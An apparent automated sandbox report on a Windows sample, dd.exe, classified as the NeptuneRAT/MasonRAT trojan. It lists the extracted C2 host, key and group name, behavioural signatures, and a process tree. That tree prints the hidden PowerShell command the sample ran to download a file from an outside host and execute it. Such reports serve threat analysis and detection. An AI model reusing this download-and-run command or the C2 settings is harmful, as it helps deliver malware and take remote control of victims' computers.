Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    04/08/2026, 01:46

General

  • Target
    dd.exe
  • Size 49KB
  • Sample260804-b7cmcazgrg
  • SHA256 78009293a1089c18fa20be29a60e91501a3add266af89bc8976644c41e8cf8b6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • neptunerat

C2
  • viperalza7fgg-40476.portmap.host:40476

Attributes
  • filename

    USB.exe

  • group

    MasonGroup

  • key

    Pav1witvA2JWYxNv

  • rat_name

    MasonRAT

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Detects NeptuneRAT stealer 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dd.exe
    "C:\Users\Admin\AppData\Local\Temp\dd.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4484

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_f2tfjppk.a44.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2tfjppk.a44.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3424-0-0x0000000000E30000-0x0000000000E42000-memory.dmp

        memory/3424-17-0x0000000002DD0000-0x0000000002DE0000-memory.dmp

        memory/3424-18-0x0000000002DD0000-0x0000000002DE0000-memory.dmp

        memory/4484-1-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp

        memory/4484-2-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp

        memory/4484-3-0x000002BEB79A0000-0x000002BEB79C2000-memory.dmp

        memory/4484-11-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp

        memory/4484-13-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp

        memory/4484-12-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp

        memory/4484-14-0x000002BECFFA0000-0x000002BECFFB0000-memory.dmp